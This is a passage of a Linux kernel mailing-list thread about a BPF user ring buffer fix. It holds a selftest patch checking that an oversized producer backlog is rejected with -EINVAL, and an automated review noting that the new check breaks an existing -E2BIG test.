#3 lore raw
In reply to Ren Wei
Quoted 5 lines · Ren Wei

When bpf_user_ringbuf_drain() drains the ring buffer, cons_pos wraps around the physical buffer repeatedly within the oversized unread window, replaying stale or already-consumed samples without new writes from user space. In the worst case, this leads to excessive CPU consumption and watchdog softlockups.

No.
Stop the slop

pw-bot: cr

author
#4 lore raw

PATCH 2/2 selftests/bpf: Test user ringbuf backlog larger than ring size

In reply to Ren Wei

From: Luxiao Xu <[email protected]>

Add a test case validating that bpf_user_ringbuf_drain() rejects an advertised unread backlog that exceeds the ring buffer capacity.

A valid sample header is written to the ring buffer, but producer_pos is advanced past consumer_pos by twice the ring size. Verify that the kernel returns -EINVAL and drains 0 samples.

---
 .../selftests/bpf/prog_tests/user_ringbuf.c     | 17 +++++++++++++++++
 1 file changed, 17 insertions(+)
tools/testing/selftests/bpf/prog_tests/user_ringbuf.c +17 -0
index 9fd3ae987321..b455e35d616b 100644
@@ -280,6 +280,22 @@ static void test_user_ringbuf_post_larger_than_ringbuf_sz(void)
 	user_ringbuf_success__destroy(skel);
 }
 
+static void test_user_ringbuf_post_backlog_larger_than_ringbuf_sz(void)
+{
+	struct user_ringbuf_success *skel;
+	struct user_ring_buffer *ringbuf;
+	int err;
+	__u32 size = sizeof(struct sample);
+
+	err = load_skel_create_user_ringbuf(&skel, &ringbuf);
+	if (!ASSERT_OK(err, "oversized_backlog_skel"))
+		return;
+
+	manually_write_test_invalid_sample(skel, size, c_ringbuf_size * 2, -EINVAL);
+	user_ring_buffer__free(ringbuf);
+	user_ringbuf_success__destroy(skel);
+}
+
 static void test_user_ringbuf_basic(void)
 {
 	struct user_ringbuf_success *skel;
@@ -673,6 +689,7 @@ static struct {
 	SUCCESS_TEST(test_user_ringbuf_post_misaligned),
 	SUCCESS_TEST(test_user_ringbuf_post_producer_wrong_offset),
 	SUCCESS_TEST(test_user_ringbuf_post_larger_than_ringbuf_sz),
+	SUCCESS_TEST(test_user_ringbuf_post_backlog_larger_than_ringbuf_sz),
 	SUCCESS_TEST(test_user_ringbuf_basic),
 	SUCCESS_TEST(test_user_ringbuf_sample_full_ring_buffer),
 	SUCCESS_TEST(test_user_ringbuf_post_alignment_autoadjust),
Signature · 1 line
2.43.0
#5 lore raw

Re: [PATCH bpf 2/2] selftests/bpf: Test user ringbuf backlog larger than ring size

Thank you for your contribution! Sashiko AI review found 1 potential issue to consider: - [Medium] selftests/bpf: backlog check breaks test_user_ringbuf_post_larger_than_ringbuf_sz() --

Thank you for your contribution! Sashiko AI review found 1 potential issue to consider:
- [Medium] selftests/bpf: backlog check breaks test_user_ringbuf_post_larger_than_ringbuf_sz()
--

commit 23d3f0e29a2def29eb8db69c2a11a7b7fed0b563
Author: Luxiao Xu <[email protected]>

selftests/bpf: Test user ringbuf backlog larger than ring size

This commit adds a selftest verifying that bpf_user_ringbuf_drain() returns -EINVAL and drains no samples when producer_pos exceeds consumer_pos by more than the ring buffer size.

Quoted 13 lines
tools/testing/selftests/bpf/prog_tests/user_ringbuf.c +5 -0
index 9fd3ae9873210..b455e35d616b5 100644
@@ -280,6 +280,22 @@ static void test_user_ringbuf_post_larger_than_ringbuf_sz(void)
 	user_ringbuf_success__destroy(skel);
 }
 
+static void test_user_ringbuf_post_backlog_larger_than_ringbuf_sz(void)
+{
+	struct user_ringbuf_success *skel;
+	struct user_ring_buffer *ringbuf;
+	int err;

tools/testing/selftests/bpf/prog_tests/user_ringbuf.c static void test_user_ringbuf_post_larger_than_ringbuf_sz(void) · line 297

Quoted 10 lines
tools/testing/selftests/bpf/prog_tests/user_ringbuf.c +10 -0
+	__u32 size = sizeof(struct sample);
+
+	err = load_skel_create_user_ringbuf(&skel, &ringbuf);
+	if (!ASSERT_OK(err, "oversized_backlog_skel"))
+		return;
+
+	manually_write_test_invalid_sample(skel, size, c_ringbuf_size * 2, -EINVAL);
+	user_ring_buffer__free(ringbuf);
+	user_ringbuf_success__destroy(skel);
+}

[Severity: Medium]
Does the backlog check tested here break the preceding test_user_ringbuf_post_larger_than_ringbuf_sz() test?

test_user_ringbuf_post_larger_than_ringbuf_sz() passes size = c_ringbuf_size to manually_write_test_invalid_sample(), which sets producer_pos to c_ringbuf_size + BPF_RINGBUF_HDR_SZ and expects bpf_user_ringbuf_drain() to return -E2BIG:

tools/testing/selftests/bpf/prog_tests/user_ringbuf.c:test_user_ringbuf_post_larger_than_ringbuf_sz() {
	...
	__u32 size = c_ringbuf_size;
	...
	manually_write_test_invalid_sample(skel, size, size, -E2BIG);
	...
}

With commit "bpf: Reject user ringbuf backlogs larger than total ring size", __bpf_user_ringbuf_peek() rejects prod_pos - cons_pos > ringbuf_total_data_sz(rb) with -EINVAL before reading the sample header:

kernel/bpf/ringbuf.c:__bpf_user_ringbuf_peek() {
	...
	if (prod_pos - cons_pos > ringbuf_total_data_sz(rb))
		return -EINVAL;
	...
	if (total_len > prod_pos - cons_pos)
		return -EINVAL;

	/* The sample must fit within the data region of the ring buffer. */
	if (total_len > ringbuf_total_data_sz(rb))
		return -E2BIG;
	...
}

Because prod_pos - cons_pos <= ringbuf_total_data_sz(rb) and total_len <= prod_pos - cons_pos are both enforced first, the total_len > ringbuf_total_data_sz(rb) check returning -E2BIG is now unreachable, and test_user_ringbuf_post_larger_than_ringbuf_sz() fails with -EINVAL instead of -E2BIG.

Signature · 1 line
Sashiko AI review · https://sashiko.dev/#/patchset/[email protected]?part=2